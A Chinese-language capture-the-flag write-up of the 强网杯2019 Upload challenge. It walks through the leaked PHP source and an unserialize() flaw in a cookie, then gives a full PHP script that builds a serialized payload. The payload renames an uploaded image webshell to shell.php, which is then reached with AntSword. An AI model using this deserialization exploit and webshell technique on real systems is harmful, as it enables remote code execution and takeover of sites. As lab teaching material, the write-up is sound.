本文最后更新于:2024年7月23日 晚上
强网杯2019 Upload
目录扫描发现源码泄露 www.tar.gz
直接看文件上传部分的关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public function upload_img(){ if($this->checker){ if(!$this->checker->login_check()){ $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index"; $this->redirect($curr_url,302); exit(); } }
if(!empty($_FILES)){ $this->filename_tmp=$_FILES['upload_file']['tmp_name']; $this->filename=md5($_FILES['upload_file']['name']).".png"; $this->ext_check(); } if($this->ext) { if(getimagesize($this->filename_tmp)) { @copy($this->filename_tmp, $this->filename); @unlink($this->filename_tmp); $this->img="../upload/$this->upload_menu/$this->filename"; $this->update_img(); }else{ $this->error('Forbidden type!', url('../index')); } }else{ $this->error('Unknow file type!', url('../index')); } }
|
这段代码将上传的文件的文件名修改为以.png
结尾
并用getimagesize
函数检查文件类型
getimagesize()
会通过读取图片文件的头部信息来确定图片的大小和类型
所以需要上传图片马。
由于文件名被修改,图片马无法直接使用,
需要配合文件包含,或者将文件名修改为.php
结尾。
在login_check函数中
1 2 3 4 5 6 7 8 9 10 11 12
| public function login_check(){ $profile=cookie('user'); if(!empty($profile)){ $this->profile=unserialize(base64_decode($profile)); $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find(); if(array_diff($this->profile_db,$this->profile)==null){ return 1; }else{ return 0; } } }
|
发现cookie是序列化的数据,网站读取cookie时会进行反序列化操作。
Register类中有__destruct方法
1 2 3 4 5 6
| public function __destruct() { if(!$this->registed){ $this->checker->index(); } }
|
因此可以把Register类当作反序列化的入口类。
再结合Profile类中的两个魔术方法
1 2 3 4 5 6 7 8 9 10 11
| public function __get($name) { return $this->except[$name]; }
public function __call($name, $arguments) { if($this->{$name}){ $this->{$this->{$name}}($arguments); } }
|
实现调用upload_img
方法更改文件名。
反序列化链:
1 2 3
| 1. Register->__destruct 2. Profile->__call 3. Profile->upload_img
|
在网页源码中找到已经上传的图片马的路径

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php namespace app\web\controller; class Register { public $checker; public $registed; } class Profile { public $checker; public $filename_tmp; public $filename; public $upload_menu; public $ext; public $img; public $except; public $index; } $a=new Register(); $a->registed=false; $a->checker=new Profile(); $a->checker->checker=false; $a->checker->index="upload_img"; $a->checker->ext=1; $a->checker->filename_tmp="./upload/c7129430ace4c05bd5bcee0bd02b538b/0a7b8575f81e6d28645879810e6f43a9.png"; $a->checker->filename="./upload/shell.php"; echo base64_encode(serialize($a));
|
用生成的序列化字符串替换cookie

然后刷新网页。
访问http:/xxxxxxxxxxxxxxxx.node5.buuoj.cn/upload/shell.php

之后蚁剑连接->读取flag即可。